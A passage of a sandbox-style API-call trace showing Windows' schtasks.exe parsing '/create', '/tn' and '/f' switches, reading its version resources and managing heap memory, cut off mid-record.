[0071.528] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|f|") returned 3 [0071.529] lstrlenW (lpString="|run|") returned 5 [0071.529] lstrlenW (lpString="|f|") returned 3 [0071.529] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0071.529] SetLastError (dwErrCode=0x490) [0071.529] lstrlenW (lpString="end") returned 3 [0071.529] lstrlenW (lpString="end") returned 3 [0071.529] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.529] lstrlenW (lpString="f") returned 1 [0071.529] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.529] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|end|") returned 5 [0071.529] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|f|") returned 3 [0071.529] lstrlenW (lpString="|end|") returned 5 [0071.529] lstrlenW (lpString="|f|") returned 3 [0071.529] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0071.529] SetLastError (dwErrCode=0x490) [0071.529] lstrlenW (lpString="showsid") returned 7 [0071.529] lstrlenW (lpString="showsid") returned 7 [0071.529] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.529] lstrlenW (lpString="f") returned 1 [0071.529] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.529] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|showsid|") returned 9 [0071.529] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|f|") returned 3 [0071.529] lstrlenW (lpString="|showsid|") returned 9 [0071.529] lstrlenW (lpString="|f|") returned 3 [0071.529] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0071.529] SetLastError (dwErrCode=0x490) [0071.529] SetLastError (dwErrCode=0x490) [0071.529] SetLastError (dwErrCode=0x0) [0071.530] lstrlenW (lpString="/f") returned 2 [0071.530] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0071.530] SetLastError (dwErrCode=0x490) [0071.530] SetLastError (dwErrCode=0x0) [0071.530] lstrlenW (lpString="/f") returned 2 [0071.530] GetProcessHeap () returned 0x1e0000 [0071.530] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x6) returned 0x1fddf0 [0071.530] GetProcessHeap () returned 0x1e0000 [0071.530] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcef0 [0071.530] SetLastError (dwErrCode=0x0) [0071.530] GetProcessHeap () returned 0x1e0000 [0071.530] GetProcessHeap () returned 0x1e0000 [0071.530] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2e0) returned 1 [0071.530] GetProcessHeap () returned 0x1e0000 [0071.530] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc2e0) returned 0x8 [0071.530] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2e0 | out: hHeap=0x1e0000) returned 1 [0071.530] GetProcessHeap () returned 0x1e0000 [0071.530] GetProcessHeap () returned 0x1e0000 [0071.530] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd10) returned 1 [0071.530] GetProcessHeap () returned 0x1e0000 [0071.530] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd10) returned 0x20 [0071.531] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd10 | out: hHeap=0x1e0000) returned 1 [0071.531] GetProcessHeap () returned 0x1e0000 [0071.531] GetProcessHeap () returned 0x1e0000 [0071.531] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc370) returned 1 [0071.531] GetProcessHeap () returned 0x1e0000 [0071.531] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc370) returned 0x12 [0071.531] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc370 | out: hHeap=0x1e0000) returned 1 [0071.531] GetProcessHeap () returned 0x1e0000 [0071.531] GetProcessHeap () returned 0x1e0000 [0071.531] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd40) returned 1 [0071.531] GetProcessHeap () returned 0x1e0000 [0071.531] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd40) returned 0x20 [0071.532] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd40 | out: hHeap=0x1e0000) returned 1 [0071.532] GetProcessHeap () returned 0x1e0000 [0071.532] GetProcessHeap () returned 0x1e0000 [0071.532] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc390) returned 1 [0071.532] GetProcessHeap () returned 0x1e0000 [0071.532] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc390) returned 0x8 [0071.532] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc390 | out: hHeap=0x1e0000) returned 1 [0071.532] GetProcessHeap () returned 0x1e0000 [0071.532] GetProcessHeap () returned 0x1e0000 [0071.532] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd70) returned 1 [0071.532] GetProcessHeap () returned 0x1e0000 [0071.532] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd70) returned 0x20 [0071.533] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd70 | out: hHeap=0x1e0000) returned 1 [0071.533] GetProcessHeap () returned 0x1e0000 [0071.533] GetProcessHeap () returned 0x1e0000 [0071.533] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc3b0) returned 1 [0071.533] GetProcessHeap () returned 0x1e0000 [0071.533] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc3b0) returned 0xe [0071.533] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc3b0 | out: hHeap=0x1e0000) returned 1 [0071.533] GetProcessHeap () returned 0x1e0000 [0071.533] GetProcessHeap () returned 0x1e0000 [0071.533] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcda0) returned 1 [0071.533] GetProcessHeap () returned 0x1e0000 [0071.533] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcda0) returned 0x20 [0071.534] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcda0 | out: hHeap=0x1e0000) returned 1 [0071.534] GetProcessHeap () returned 0x1e0000 [0071.534] GetProcessHeap () returned 0x1e0000 [0071.534] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc3d0) returned 1 [0071.534] GetProcessHeap () returned 0x1e0000 [0071.534] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc3d0) returned 0x8 [0071.534] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc3d0 | out: hHeap=0x1e0000) returned 1 [0071.534] GetProcessHeap () returned 0x1e0000 [0071.534] GetProcessHeap () returned 0x1e0000 [0071.534] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcdd0) returned 1 [0071.534] GetProcessHeap () returned 0x1e0000 [0071.534] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcdd0) returned 0x20 [0071.534] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcdd0 | out: hHeap=0x1e0000) returned 1 [0071.534] GetProcessHeap () returned 0x1e0000 [0071.534] GetProcessHeap () returned 0x1e0000 [0071.534] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc3f0) returned 1 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc3f0) returned 0x4 [0071.535] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc3f0 | out: hHeap=0x1e0000) returned 1 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce00) returned 1 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce00) returned 0x20 [0071.535] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce00 | out: hHeap=0x1e0000) returned 1 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc410) returned 1 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc410) returned 0x8 [0071.535] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc410 | out: hHeap=0x1e0000) returned 1 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce30) returned 1 [0071.535] GetProcessHeap () returned 0x1e0000 [0071.535] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce30) returned 0x20 [0071.536] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce30 | out: hHeap=0x1e0000) returned 1 [0071.536] GetProcessHeap () returned 0x1e0000 [0071.536] GetProcessHeap () returned 0x1e0000 [0071.536] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f9430) returned 1 [0071.536] GetProcessHeap () returned 0x1e0000 [0071.536] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f9430) returned 0x3c [0071.536] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f9430 | out: hHeap=0x1e0000) returned 1 [0071.536] GetProcessHeap () returned 0x1e0000 [0071.536] GetProcessHeap () returned 0x1e0000 [0071.536] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce60) returned 1 [0071.536] GetProcessHeap () returned 0x1e0000 [0071.536] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce60) returned 0x20 [0071.537] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce60 | out: hHeap=0x1e0000) returned 1 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fddd0) returned 1 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fddd0) returned 0x8 [0071.537] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fddd0 | out: hHeap=0x1e0000) returned 1 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce90) returned 1 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce90) returned 0x20 [0071.537] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce90 | out: hHeap=0x1e0000) returned 1 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd620) returned 1 [0071.537] GetProcessHeap () returned 0x1e0000 [0071.537] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd620) returned 0x10 [0071.537] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd620 | out: hHeap=0x1e0000) returned 1 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcec0) returned 1 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcec0) returned 0x20 [0071.538] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcec0 | out: hHeap=0x1e0000) returned 1 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fddf0) returned 1 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fddf0) returned 0x6 [0071.538] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fddf0 | out: hHeap=0x1e0000) returned 1 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcef0) returned 1 [0071.538] GetProcessHeap () returned 0x1e0000 [0071.538] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcef0) returned 0x20 [0071.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcef0 | out: hHeap=0x1e0000) returned 1 [0071.539] GetProcessHeap () returned 0x1e0000 [0071.539] GetProcessHeap () returned 0x1e0000 [0071.539] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5510) returned 1 [0071.539] GetProcessHeap () returned 0x1e0000 [0071.539] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5510) returned 0x18 [0071.539] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5510 | out: hHeap=0x1e0000) returned 1 [0071.539] SetLastError (dwErrCode=0x0) [0071.539] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0071.539] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0071.539] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0071.539] VerifyVersionInfoW (in: lpVersionInformation=0xbc210, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbc210) returned 1 [0071.539] SetLastError (dwErrCode=0x0) [0071.540] lstrlenW (lpString="create") returned 6 [0071.540] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0071.540] SetLastError (dwErrCode=0x490) [0071.540] SetLastError (dwErrCode=0x0) [0071.540] lstrlenW (lpString="create") returned 6 [0071.540] GetProcessHeap () returned 0x1e0000 [0071.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcef0 [0071.540] GetProcessHeap () returned 0x1e0000 [0071.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fd620 [0071.540] _memicmp (_Buf1=0x1fd620, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.540] GetProcessHeap () returned 0x1e0000 [0071.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x16) returned 0x1fd640 [0071.540] SetLastError (dwErrCode=0x0) [0071.540] _memicmp (_Buf1=0x1fbb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.540] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fbd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0071.540] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0071.540] GetProcessHeap () returned 0x1e0000 [0071.540] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x74e) returned 0x1fddd0 [0071.541] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1fddd0 | out: lpData=0x1fddd0) returned 1 [0071.541] VerQueryValueW (in: pBlock=0x1fddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbc2f8, puLen=0xbc360 | out: lplpBuffer=0xbc2f8*=0x1fe16c, puLen=0xbc360) returned 1 [0071.541] _memicmp (_Buf1=0x1fbb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.541] _vsnwprintf (in: _Buffer=0x1fbd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbc2d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0071.541] VerQueryValueW (in: pBlock=0x1fddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbc368, puLen=0xbc358 | out: lplpBuffer=0xbc368*=0x1fdf98, puLen=0xbc358) returned 1 [0071.541] lstrlenW (lpString="schtasks.exe") returned 12 [0071.541] lstrlenW (lpString="schtasks.exe") returned 12 [0071.541] lstrlenW (lpString=".EXE") returned 4 [0071.541] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0071.541] lstrlenW (lpString="schtasks.exe") returned 12 [0071.541] lstrlenW (lpString=".EXE") returned 4 [0071.541] lstrlenW (lpString="schtasks") returned 8 [0071.541] lstrlenW (lpString="/create") returned 7 [0071.541] _memicmp (_Buf1=0x1fbb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.541] _vsnwprintf (in: _Buffer=0x1fbd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0xbc2d8 | out: _Buffer="schtasks /create") returned 16 [0071.541] _memicmp (_Buf1=0x1fbb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.541] GetProcessHeap () returned 0x1e0000 [0071.541] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcec0 [0071.541] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.541] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0071.541] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0071.541] GetProcessHeap () returned 0x1e0000 [0071.541] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x30) returned 0x1f7bd0 [0071.542] _vsnwprintf (in: _Buffer=0x1fc110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbc2d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0071.542] GetProcessHeap () returned 0x1e0000 [0071.542] GetProcessHeap () returned 0x1e0000 [0071.542] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fddd0) returned 1 [0071.542] GetProcessHeap () returned 0x1e0000 [0071.542] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fddd0) returned 0x74e [0071.542] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fddd0 | out: hHeap=0x1e0000) returned 1 [0071.542] SetLastError (dwErrCode=0x0) [0071.542] GetThreadLocale () returned 0x409 [0071.542] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.542] lstrlenW (lpString="create") returned 6 [0071.542] GetThreadLocale () returned 0x409 [0071.542] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.542] lstrlenW (lpString="?") returned 1 [0071.542] GetThreadLocale () returned 0x409 [0071.542] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.542] lstrlenW (lpString="s") returned 1 [0071.542] GetThreadLocale () returned 0x409 [0071.542] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.542] lstrlenW (lpString="u") returned 1 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="p") returned 1 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="ru") returned 2 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="rp") returned 2 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="sc") returned 2 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="mo") returned 2 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="d") returned 1 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="m") returned 1 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="i") returned 1 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="tn") returned 2 [0071.543] GetThreadLocale () returned 0x409 [0071.543] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.543] lstrlenW (lpString="tr") returned 2 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="st") returned 2 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="sd") returned 2 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="ed") returned 2 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="it") returned 2 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="et") returned 2 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="k") returned 1 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="du") returned 2 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="ri") returned 2 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="z") returned 1 [0071.544] GetThreadLocale () returned 0x409 [0071.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.544] lstrlenW (lpString="f") returned 1 [0071.545] GetThreadLocale () returned 0x409 [0071.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.545] lstrlenW (lpString="v1") returned 2 [0071.545] GetThreadLocale () returned 0x409 [0071.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.545] lstrlenW (lpString="xml") returned 3 [0071.545] GetThreadLocale () returned 0x409 [0071.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.545] lstrlenW (lpString="ec") returned 2 [0071.545] GetThreadLocale () returned 0x409 [0071.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.545] lstrlenW (lpString="rl") returned 2 [0071.545] GetThreadLocale () returned 0x409 [0071.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.545] lstrlenW (lpString="delay") returned 5 [0071.545] GetThreadLocale () returned 0x409 [0071.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.545] lstrlenW (lpString="np") returned 2 [0071.545] SetLastError (dwErrCode=0x0) [0071.545] SetLastError (dwErrCode=0x0) [0071.545] lstrlenW (lpString="/create") returned 7 [0071.545] lstrlenW (lpString="-/") returned 2 [0071.545] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.545] lstrlenW (lpString="create") returned 6 [0071.545] lstrlenW (lpString="create") returned 6 [0071.545] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.545] lstrlenW (lpString="create") returned 6 [0071.545] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.546] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|create|") returned 8 [0071.546] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|create|") returned 8 [0071.546] lstrlenW (lpString="|create|") returned 8 [0071.546] lstrlenW (lpString="|create|") returned 8 [0071.546] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0071.546] SetLastError (dwErrCode=0x0) [0071.546] SetLastError (dwErrCode=0x0) [0071.546] SetLastError (dwErrCode=0x0) [0071.546] lstrlenW (lpString="/tn") returned 3 [0071.546] lstrlenW (lpString="-/") returned 2 [0071.546] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.546] lstrlenW (lpString="create") returned 6 [0071.546] lstrlenW (lpString="create") returned 6 [0071.546] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.546] lstrlenW (lpString="tn") returned 2 [0071.546] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.546] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|create|") returned 8 [0071.546] _vsnwprintf (in: _Buffer=0x1fc320, 